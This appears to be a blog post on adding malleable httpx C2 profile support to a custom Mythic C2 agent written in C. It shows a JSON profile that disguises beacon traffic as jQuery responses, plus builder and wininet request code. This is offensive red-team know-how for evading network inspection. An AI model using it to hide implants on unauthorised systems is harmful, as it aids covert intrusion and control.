Part 4: Getting an Upgrade ⚒️
yes… i named this one after the minecraft achievement.
The Httpx container, malleable C2 profiles, and wininet.
Flexible Request Profiles
To be honest, this is where I spent the bulk of my development for this project.
Up to this point, the http
C2 profile served it’s purpose and allowed us to learn the basic Mythic concepts:
- Request types (
checkin
,get_tasking
, andpost_response
) - Dynamically stamping in connection details (
callback_interval
,callback_host
, etc) to the agent during the build process
But, I wanted more fine-grained control over what my HTTP(S) traffic looked like. I have personally been on red/purple team engagements where the client network had SSL introspection configured on hosts and suspicious HTTPS traffic got me burned.
Malleable C2
When Cobalt Strike first introduced it’s malleable C2 profiles it was a groundbreaking feature that allowed for a highly customizable network footprint. Nowadays it’s pretty common for C2 frameworks to allow some degree of customization for network profiles.
I wanted to bring that level of flexibility to this agent and the httpx container is the only public Mythic C2 profile that allows you to do that.
Httpx C2 Profile
This profile is another C2 profile container from @its_a_feature_ that takes agent configurations written in either JSON or TOML and can be used during the agent build process. It is still in beta, but I must say works quite well.
It allows much more customization over the requests such as:
Transformations
- base64 / base64url
- netbios / netbiosu
- append / prepend
- xor
Message Location
- cookie
- query
- header
- body
As well as adding arbitrary Headers and URL Parameters.
Here is a shortened example from the documentation of one of these agent configurations.
{
"name": "test",
"get": {
"verb": "GET",
"uri": "/test",
"client": {
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "Keep-Alive",
"Keep-Alive": "timeout=10, max=100",
"Referer": "<http://code.jquery.com/>"
},
"message": {
"location": "cookie",
"name": "__cfduid"
},
"transforms": [
{
"action": "base64",
"value": ""
}
]
},
"server": {
"headers": {
"Cache-Control": "max-age=0, no-cache",
"Connection": "keep-alive",
"Content-Type": "application/javascript; charset=utf-8",
"Pragma": "no-cache",
"Server": "Apache"
},
"transforms" : [
{
"action": "xor",
"value": "randomKey"
},
{
"action": "base64",
"value": ""
},
{
"action": "prepend",
"value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"
},
{
"action": "append",
"value": "\\".(o=t.documentElement,Math.max(t.body[\\"scroll\\"+e],o[\\"scroll\\"+e],t.body[\\"offset\\"+e],o[\\"offset\\"+e],o[\\"client\\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\".split(\\" \\"),function(e,t){w.fn[t]=function(e,n){return arguments.length\\u003e0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\"**\\"):this.off(t,e||\\"**\\",n)}}),w.proxy=function(e,t){var n,r,i;if(\\"string\\"==typeof t\\u0026\\u0026(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\\"number\\"===t||\\"string\\"===t)\\u0026\\u0026!isNaN(e-parseFloat(e))},\\"function\\"==typeof define\\u0026\\u0026define.amd\\u0026\\u0026define(\\"jquery\\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w\\u0026\\u0026(e.$=Kt),t\\u0026\\u0026e.jQuery===w\\u0026\\u0026(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"
}
]
}
},
"post": {
"verb": "POST",
"uri": "/test",
"client": {
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Referer": "<http://code.jquery.com/>"
},
"parameters": null,
"message": {
"location": "body",
"name": null
},
"transforms": [
{
"action": "xor",
"value": "someOtherRandomKey"
},
{
"action": "base64",
"value": ""
}
]
},
"server": {
"headers": {
"Cache-Control": "max-age=0, no-cache",
"Connection": "keep-alive",
"Content-Type": "application/javascript; charset=utf-8",
"Pragma": "no-cache",
"Server": "Apache"
},
"transforms" : [
{
"action": "xor",
"value": "yetAnotherSomeRandomKey"
},
{
"action": "base64",
"value": ""
},
{
"action": "prepend",
"value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"
},
{
"action": "append",
"value": "\\".(o=t.documentElement,Math.max(t.body[\\"scroll\\"+e],o[\\"scroll\\"+e],t.body[\\"offset\\"+e],o[\\"offset\\"+e],o[\\"client\\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\".split(\\" \\"),function(e,t){w.fn[t]=function(e,n){return arguments.length\\u003e0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\"**\\"):this.off(t,e||\\"**\\",n)}}),w.proxy=function(e,t){var n,r,i;if(\\"string\\"==typeof t\\u0026\\u0026(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\\"number\\"===t||\\"string\\"===t)\\u0026\\u0026!isNaN(e-parseFloat(e))},\\"function\\"==typeof define\\u0026\\u0026define.amd\\u0026\\u0026define(\\"jquery\\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w\\u0026\\u0026(e.$=Kt),t\\u0026\\u0026e.jQuery===w\\u0026\\u0026(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"
}
]
}
}
}
Payload Transformations
Okay, httpx
is exactly what we want. An already created HTTP(S) server that allows for fine-grained control over different features of our requests/responses and will undo/apply those configured in our JSON.
But now we have to build all of this into our agent… and it’s in C. 😭😭
Luckily I had a really good reference project that's goal was to reconstruct the Cobalt Strike Beacon source code. I referenced its transform functions while implementing this.
Essentially, I built upon their struct TRANSFORM
which takes the unmodified payload and then applies a series of ‘transforms’ to the struct. The struct is then used when crafting the final web request using wininet
.
typedef struct TRANSFORM
{
const char* headers;
const char* cookies;
const char* uriParams;
const char* uri;
void* body;
DWORD bodyLength;
unsigned int outputLength;
const char* transformed;
char* temp;
PPARSER parser;
} TRANSFORM;
My request transform struct
The transform settings are parsed from the JSON/TOML configuration uploaded during the payload creation process OR created on the Payload page.

In my builder.py
file:
- Parse the JSON file data
raw_c2_config
- The transformations are converted into (4) four c-style hex strings
- The packed hex strings are stamped into my
Config.h
file as macros
'''
HTTP(X) request profiles ( in [Type, Size, Data] format)
'''
with open(agent_build_path.name + "/Include/Config.h", "r+") as f:
content = f.read()
# Generate byte arrays for the malleable C2 profiles
get_client, post_client, get_server, post_server = generate_raw_c2_transform_definitions(Config["raw_c2_config"])
content = content.replace("%S_C2_GET_CLIENT%", get_client)
content = content.replace("%S_C2_POST_CLIENT%", post_client)
content = content.replace("%S_C2_GET_SERVER%", get_server)
content = content.replace("%S_C2_POST_SERVER%", post_server)
logging.info("Malleable C2 Profiles: \\n")
logging.info(f'#define S_C2_GET_CLIENT "{get_client}"')
logging.info(f'#define S_C2_POST_CLIENT "{post_client}"')
logging.info(f'#define S_C2_GET_SERVER "{get_server}"')
logging.info(f'#define S_C2_POST_SERVER "{post_server}"')
# Write the updated content back to the file
f.seek(0)
f.write(content)
f.truncate()
Some transforms like xor
, append
, and prepend
require a parameter, like a key or some other data. The macros data are in the following format:
transform_byte + transform_parameter
Requests
Then before requests are transmitted they are run through the TransformApply
function using the specific reqProfile
. The data is parsed in a switch case inside of a for loop to apply all the transforms.
// Gets the type of client transform
for (int step = ParserGetInt32(&parser); step; step = ParserGetInt32(&parser))
{
switch (step)
{
case TRANSFORM_BASE64:
...
case TRANSFORM_XOR:
// Gets the parameter from the transform step
ParserStringCopySafe(&parser, param, &len);
...
}
}
In this way, we can apply as many transformations as we want to the message payload (as long as we don’t overflow some buffer maximums).
After the transformations are applied to the structure instance, the transform
instance is used to create a GET or POST request with the wininet
API functions.
Responses
For responses we basically do the opposite of the above with the TransformReverse
function, except we don’t need to worry about the actual buffer data for append
and prepend
. We can just shift the pointer to not read those bytes.
Wininet Requests
Now that the TRANSFORM
struct has been filled out and modified with the current request attributes, we have to configure the request and send it using the appropriate wininet
APIs.
For GET requests we will create HttpGet
which will:
- Apply transformations to the payload message with
TransformApply
- Construct the final URI using any URI parameters
- Initiate a new GET request with
HttpOpenRequestA
- Update the HINTERNET handle with
HttpUpdateSettings
- Send the request with
HttpSendRequestA
BOOL HttpGet(PPackage package, PBYTE* ppOutData, SIZE_T* pOutLen)
{
#define MAX_URI 0x400 // 1kb
#define MAX_URL 0x400
#define MAX_READ 0x1000 // 4kb
#define MAXGET 1048576 // 1mb
TRANSFORM transform;
memset(&transform, 0, sizeof(transform));
CHAR finalUri[MAX_URI];
memset(finalUri, 0, sizeof(finalUri));
TransformInit(&transform, MAXGET);
TransformApply(&transform, package->buffer, package->length, S_C2_GET_CLIENT);
// Add any URI parameters (e.g., /test?value=1&other=2)
if (strlen(transform.uriParams))
snprintf(finalUri, sizeof(finalUri), "%s%s", transform.uri, transform.uriParams);
else
snprintf(finalUri, sizeof(finalUri), "%s", transform.uri);
HINTERNET hInternet = HttpOpenRequestA(
gInternetConnect,
"GET",
finalUri,
NULL,
NULL,
NULL,
gHttpOptions,
&gContext);
SecureZeroMemory(finalUri, sizeof(finalUri));
DWORD error = 0;
// Check if InternetOpenA failed
if (hInternet == NULL)
{
error = GetLastError();
_err("HttpOpenRequestA failed with error code: %d", error);
TransformDestroy(&transform);
return FALSE;
}
HttpUpdateSettings(hInternet);
// Send request
if (!HttpSendRequestA(hInternet, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength))
{
error = GetLastError();
_err("HttpSendRequestA failed with error code: %d", error);
TransformDestroy(&transform);
return FALSE;
}
...
}
The function goes on to read the response and perform the reverse transformations.
Traffic Profile
It’s always a good idea to check your work and make sure what we think is happening, is in fact happening.
I’ve created an example havex-profile.json profile that utilizes a bunch of transformations to try and appear as benign HTTP traffic.
We can see the GET requests in Wireshark with the payload in the PHPSESSID
cookie location we defined in the JSON file.

For simplicity, I decided that payload messages over 1kb will use POST and anything under will be a GET request. This ends up meaning that all regular checkins and any tasks with small outputs will be sent as GETs.
Any task with a response larger than 1kb will be sent using an HTTP POST request. Below we can see the HTTP request with the message payload in the body of the request.


Limitations
There are currently a few limitations to the malleable C2 profiles:
As of 11/27/24 thehttpx
C2 profile doesn’t allow for multiple URIs connection strings.- POST requests
- Payload can only be in the body (due to size restrictions for URL parameters)
- GET requests (as of 11/27/24)
- arbitrary host header values haven’t been implemented
- Server response message location must be in body (default)
Thoughts
I really wanted to support the httpx
C2 profile since not many Mythic C2 agents are currently supporting this C2 protocol.
During the development process I learned a lot about memory management and the details of how to modify a web request when using Wininet. I restarted from scratch three times, until I found a very good example that I “repurposed” a lot of the code from.
There are still aspects of the httpx
C2 profile that are not supported in Xenon, but I plan to add them so it is fully implemented.
Next I wanted to really make this agent a bit more useful and exponentially expand it’s abilities. The fastest way I could think to do this was to implement a COFF loader so that it could execute post-exploitation BOF files.